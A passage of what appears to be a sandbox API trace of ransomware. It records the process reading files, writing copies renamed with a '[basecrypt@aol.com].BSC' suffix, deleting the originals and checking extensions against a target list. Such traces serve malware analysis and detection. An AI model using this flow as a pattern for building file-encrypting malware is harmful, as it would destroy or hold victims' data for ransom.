(lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0101.502] GetLastError () returned 0x0 [0101.502] ReadFile (in: hFile=0x318, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x367fecc*=0x9c, lpOverlapped=0x0) returned 1 [0101.511] WriteFile (in: hFile=0x32c, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x367fc94*=0xa0, lpOverlapped=0x0) returned 1 [0101.512] ReadFile (in: hFile=0x318, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x367fecc*=0x0, lpOverlapped=0x0) returned 1 [0101.512] WriteFile (in: hFile=0x32c, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x367fc94*=0x100, lpOverlapped=0x0) returned 1 [0101.513] SetEndOfFile (hFile=0x32c) returned 1 [0101.513] CloseHandle (hObject=0x32c) returned 1 [0101.513] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.513] SetEndOfFile (hFile=0x318) returned 1 [0101.514] CloseHandle (hObject=0x318) returned 1 [0101.514] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x20) returned 1 [0101.514] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 1 [0101.515] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0101.515] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0101.515] lstrlenW (lpString=".doc") returned 4 [0101.515] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0101.515] lstrlenW (lpString=".docx") returned 5 [0101.515] lstrcmpiW (lpString1=".docx", lpString2="k.ini") returned -1 [0101.515] lstrlenW (lpString=".pdf") returned 4 [0101.515] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0101.515] lstrlenW (lpString=".xls") returned 4 [0101.515] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0101.515] lstrlenW (lpString=".xlsx") returned 5 [0101.515] lstrcmpiW (lpString1=".xlsx", lpString2="k.ini") returned -1 [0101.515] lstrlenW (lpString=".ppt") returned 4 [0101.515] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0101.515] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0101.516] lstrlenW (lpString=".zip") returned 4 [0101.516] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0101.516] lstrlenW (lpString=".rar") returned 4 [0101.516] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0101.516] lstrlenW (lpString=".bz2") returned 4 [0101.516] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0101.516] lstrlenW (lpString=".7z") returned 3 [0101.516] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0101.516] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0101.516] lstrlenW (lpString=".dbf") returned 4 [0101.516] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0101.516] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0101.516] lstrlenW (lpString=".1cd") returned 4 [0101.516] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0101.516] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0101.516] lstrlenW (lpString=".jpg") returned 4 [0101.516] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0101.516] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0101.516] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0101.516] lstrlenW (lpString=".doc") returned 4 [0101.516] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0101.516] lstrlenW (lpString=".docx") returned 5 [0101.516] lstrcmpiW (lpString1=".docx", lpString2="k.ini") returned -1 [0101.516] lstrlenW (lpString=".pdf") returned 4 [0101.516] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0101.516] lstrlenW (lpString=".xls") returned 4 [0101.516] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0101.517] lstrlenW (lpString=".xlsx") returned 5 [0101.517] lstrcmpiW (lpString1=".xlsx", lpString2="k.ini") returned -1 [0101.517] lstrlenW (lpString=".ppt") returned 4 [0101.517] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0101.517] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0101.517] lstrlenW (lpString=".zip") returned 4 [0101.517] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0101.517] lstrlenW (lpString=".rar") returned 4 [0101.517] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0101.517] lstrlenW (lpString=".bz2") returned 4 [0101.517] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0101.517] lstrlenW (lpString=".7z") returned 3 [0101.517] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0101.517] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0101.517] lstrlenW (lpString=".dbf") returned 4 [0101.517] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0101.517] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0101.517] lstrlenW (lpString=".1cd") returned 4 [0101.517] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0101.517] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0101.517] lstrlenW (lpString=".jpg") returned 4 [0101.517] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0101.517] lstrcmpiW (lpString1=".rtf", lpString2=".BSC") returned 1 [0101.517] lstrlenW (lpString="eula.rtf") returned 8 [0101.517] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0101.518] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x367ff14 | out: lpFileSize=0x367ff14*=3314) returned 1 [0101.518] CloseHandle (hObject=0x318) returned 1 [0101.518] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 0x80 [0101.518] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0101.518] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0101.518] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.518] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.518] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0101.536] GetLastError () returned 0x0 [0101.536] ReadFile (in: hFile=0x318, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x367fecc*=0xcf2, lpOverlapped=0x0) returned 1 [0102.043] WriteFile (in: hFile=0x32c, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x367fc94*=0xd00, lpOverlapped=0x0) returned 1 [0102.044] ReadFile (in: hFile=0x318, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x367fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.044] WriteFile (in: hFile=0x32c, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x367fc94*=0xe4, lpOverlapped=0x0) returned 1 [0102.044] SetEndOfFile (hFile=0x32c) returned 1 [0102.044] CloseHandle (hObject=0x32c) returned 1 [0102.045] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.045] SetEndOfFile (hFile=0x318) returned 1 [0102.046] CloseHandle (hObject=0x318) returned 1 [0102.046] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.047] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 1 [0102.047] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0102.047] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0102.047] lstrlenW (lpString=".doc") returned 4 [0102.047] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0102.047] lstrlenW (lpString=".docx") returned 5 [0102.047] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0102.047] lstrlenW (lpString=".pdf") returned 4 [0102.047] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0102.048] lstrlenW (lpString=".xls") returned 4 [0102.048] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0102.048] lstrlenW (lpString=".xlsx") returned 5 [0102.048] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0102.048] lstrlenW (lpString=".ppt") returned 4 [0102.048] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0102.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0102.048] lstrlenW (lpString=".zip") returned 4 [0102.048] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0102.048] lstrlenW (lpString=".rar") returned 4 [0102.048] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0102.048] lstrlenW (lpString=".bz2") returned 4 [0102.048] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0102.048] lstrlenW (lpString=".7z") returned 3 [0102.048] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0102.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0102.048] lstrlenW (lpString=".dbf") returned 4 [0102.048] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0102.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0102.048] lstrlenW (lpString=".1cd") returned 4 [0102.048] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0102.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0102.048] lstrlenW (lpString=".jpg") returned 4 [0102.048] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0102.049] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0102.049] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0102.049] lstrlenW (lpString=".doc") returned 4 [0102.049] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0102.049] lstrlenW (lpString=".docx") returned 5 [0102.049] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0102.049] lstrlenW (lpString=".pdf") returned 4 [0102.049] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0102.049] lstrlenW (lpString=".xls") returned 4 [0102.049] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0102.049] lstrlenW (lpString=".xlsx") returned 5 [0102.049] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0102.049] lstrlenW (lpString=".ppt") returned 4 [0102.049] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0102.049] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0102.049] lstrlenW (lpString=".zip") returned 4 [0102.049] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0102.049] lstrlenW (lpString=".rar") returned 4 [0102.049] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0102.049] lstrlenW (lpString=".bz2") returned 4 [0102.049] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0102.049] lstrlenW (lpString=".7z") returned 3 [0102.049] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0102.049] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0102.049] lstrlenW (lpString=".dbf") returned 4 [0102.050] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0102.050] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0102.050] lstrlenW (lpString=".1cd") returned 4 [0102.050] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0102.050] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0102.050] lstrlenW (lpString=".jpg") returned 4 [0102.050] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0102.050] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0102.050] lstrlenW (lpString="LocalizedData.xml") returned 17 [0102.050] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0102.403] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x367ff14 | out: lpFileSize=0x367ff14*=82346) returned 1 [0102.403] CloseHandle (hObject=0x2ec) returned 1 [0102.403] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 0x80 [0102.403] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.403] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0102.404] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.404] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.404] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0102.404] GetLastError () returned 0x0 [0102.404] ReadFile (in: hFile=0x2ec, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x367fecc*=0x141aa, lpOverlapped=0x0) returned 1 [0102.706] WriteFile (in: hFile=0x318, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x141b0, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x367fc94*=0x141b0, lpOverlapped=0x0) returned 1 [0102.708] ReadFile (in: hFile=0x2ec, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x367fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.708] WriteFile (in: hFile=0x318, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x367fc94*=0xf6, lpOverlapped=0x0) returned 1 [0102.708] SetEndOfFile (hFile=0x318) returned 1 [0102.708] CloseHandle (hObject=0x318) returned 1 [0102.710] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.710] SetEndOfFile (hFile=0x2ec) returned 1 [0102.711] CloseHandle (hObject=0x2ec) returned 1 [0102.712] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.712] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 1 [0102.713] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0102.713] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0102.713] lstrlenW (lpString=".doc") returned 4 [0102.713] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.713] lstrlenW (lpString=".docx") returned 5 [0102.713] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0102.713] lstrlenW (lpString=".pdf") returned 4 [0102.713] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.713] lstrlenW (lpString=".xls") returned 4 [0102.713] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.713] lstrlenW (lpString=".xlsx") returned 5 [0102.713] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0102.713] lstrlenW (lpString=".ppt") returned 4 [0102.713] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.713] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0102.713] lstrlenW (lpString=".zip") returned 4 [0102.713] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.713] lstrlenW (lpString=".rar") returned 4 [0102.713] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.713] lstrlenW (lpString=".bz2") returned 4 [0102.713] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.713] lstrlenW (lpString=".7z") returned 3 [0102.713] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.713] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0102.713] lstrlenW (lpString=".dbf") returned 4 [0102.713] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.713] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0102.713] lstrlenW (lpString=".1cd") returned 4 [0102.713] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.713] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0102.713] lstrlenW (lpString=".jpg") returned 4 [0102.713] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.713] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0102.714] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0102.714] lstrlenW (lpString=".doc") returned 4 [0102.714] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.714] lstrlenW (lpString=".docx") returned 5 [0102.714] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0102.714] lstrlenW (lpString=".pdf") returned 4 [0102.714] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.714] lstrlenW (lpString=".xls") returned 4 [0102.714] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.714] lstrlenW (lpString=".xlsx") returned 5 [0102.714] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0102.714] lstrlenW (lpString=".ppt") returned 4 [0102.714] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.714] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0102.714] lstrlenW (lpString=".zip") returned 4 [0102.714] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.714] lstrlenW (lpString=".rar") returned 4 [0102.714] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.714] lstrlenW (lpString=".bz2") returned 4 [0102.714] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.714] lstrlenW (lpString=".7z") returned 3 [0102.714] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.714] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0102.714] lstrlenW (lpString=".dbf") returned 4 [0102.714] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.714] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0102.714] lstrlenW (lpString=".1cd") returned 4 [0102.714] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.714] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0102.714] lstrlenW (lpString=".jpg") returned 4 [0102.714] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.715] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0102.715] lstrlenW (lpString="LocalizedData.xml") returned 17 [0102.715] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0102.715] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x367ff14 | out: lpFileSize=0x367ff14*=68226) returned 1 [0102.715] CloseHandle (hObject=0x2ec) returned 1 [0102.715] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 0x80 [0102.715] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.716] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0102.716] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.716] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.716] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0102.716] GetLastError () returned 0x0 [0102.716] ReadFile (in: hFile=0x2ec, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x367fecc*=0x10a82, lpOverlapped=0x0) returned 1 [0102.791] WriteFile (in: hFile=0x318, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x10a90, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x367fc94*=0x10a90, lpOverlapped=0x0) returned 1 [0102.792] ReadFile (in: hFile=0x2ec, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x367fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.793] WriteFile (in: hFile=0x318, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x367fc94*=0xf6, lpOverlapped=0x0) returned 1 [0102.793] SetEndOfFile (hFile=0x318) returned 1 [0102.793] CloseHandle (hObject=0x318) returned 1 [0102.797] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.797] SetEndOfFile (hFile=0x2ec) returned 1 [0102.798] CloseHandle (hObject=0x2ec) returned 1 [0102.798] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.799] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 1 [0102.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0102.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0102.799] lstrlenW (lpString=".doc") returned 4 [0102.800] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.800] lstrlenW (lpString=".docx") returned 5 [0102.800] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0102.800] lstrlenW (lpString=".pdf") returned 4 [0102.800] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.800] lstrlenW (lpString=".xls") returned 